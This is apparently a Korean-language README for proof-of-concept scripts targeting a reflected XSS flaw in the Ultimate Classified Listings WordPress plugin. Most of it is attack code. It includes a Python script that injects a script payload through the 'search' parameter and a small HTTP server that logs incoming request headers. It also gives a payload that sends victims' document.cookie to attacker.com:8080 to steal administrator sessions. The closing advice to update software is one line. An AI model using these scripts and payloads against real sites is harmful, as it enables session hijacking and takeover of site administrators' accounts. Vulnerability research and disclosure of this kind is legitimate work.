
Ultimate Classified Listings WordPress 플러그인의 반사형 XSS와 특수 제작된 페이로드 및 로깅 서버를 통한 관리자 쿠키 탈취를 시연하는 개념 증명 스크립트.
이 저장소에는 다양한 워드프레스 플러그인에서 발견된 여러 취약점에 대한 PoC(Proof of Concept) 스크립트가 포함되어 있습니다. 이 스크립트는 공격자가 이러한 취약점을 악용하여 악의적인 행동을 수행하는 방법을 보여줍니다.
Ultimate Classified Listings 플러그인의 반사형 크로스 사이트 스크립팅(XSS)
XSS를 이용한 쿠키 탈취
이 PoC는 Ultimate Classified Listings 플러그인의 반사형 XSS 취약점을 악용하는 방법을 보여줍니다.
취약한 매개변수 식별:
http://example.com/classifieds URL의 search라고 가정합니다.악성 URL 제작:
http://example.com/classifieds?search=<script>alert('XSS')</script>
PoC 스크립트 실행:
xss_poc.py로 저장하고 실행하세요.import requests
# Configuration
target_url = "http://example.com/classifieds" # Change this to the target site's URL
payload = "<script>alert('XSS')</script>" # XSS payload
def trigger_xss():
# Construct the malicious URL
malicious_url = f"{target_url}?search={payload}"
# Send a GET request to the malicious URL
response = requests.get(malicious_url)
# Check if the payload is reflected in the response
if payload in response.text:
print("[+] XSS payload reflected in the response.")
print("[+] Malicious URL:", malicious_url)
else:
print("[-] XSS payload not reflected in the response.")
if __name__ == "__main__":
trigger_xss()
이 PoC는 공격자가 반사형 XSS 취약점을 악용하여 높은 권한을 가진 사용자의 쿠키를 탈취하는 방법을 보여줍니다.
악성 서버 설정:
malicious_server.py로 저장하고 실행하여 들어오는 요청(쿠키 포함)을 기록하는 서버를 시작하세요.from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
logging.info(f"Received request: {self.headers}")
self.send_response(200)
self.end_headers()
def run(server_class=HTTPServer, handler_class=RequestHandler, port=8080):
logging.basicConfig(filename='server.log', level=logging.INFO)
server_address = ('', port)
httpd = server_class(server_address, handler_class)
logging.info(f'Starting server on port {port}...')
httpd.serve_forever()
if __name__ == "__main__":
run()
쿠키를 탈취하는 페이로드 제작:
http://example.com/classifieds?search=<script>new Image().src='http://attacker.com:8080?cookie='+document.cookie;</script>
PoC 스크립트 실행:
steal_cookies_poc.py로 저장하고 실행하세요.import requests
# Configuration
target_url = "http://example.com/classifieds" # Change this to the target site's URL
attacker_server = "http://attacker.com:8080" # Change this to your malicious server's URL
payload = f"<script>new Image().src='{attacker_server}?cookie='+document.cookie;</script>"
def trigger_xss():
# Construct the malicious URL
malicious_url = f"{target_url}?search={payload}"
# Send a GET request to the malicious URL
response = requests.get(malicious_url)
# Check if the payload is reflected in the response
if payload in response.text:
print("[+] XSS payload reflected in the response.")
print("[+] Malicious URL:", malicious_url)
else:
print("[-] XSS payload not reflected in the response.")
if __name__ == "__main__":
trigger_xss()
이 PoC는 공격자가 워드프레스 플러그인의 취약점을 악용하여 악의적인 행동을 수행하는 방법을 보여줍니다. 항상 소프트웨어를 최신 상태로 유지하고 보안 모범 사례를 따라 이러한 취약점을 방지하세요.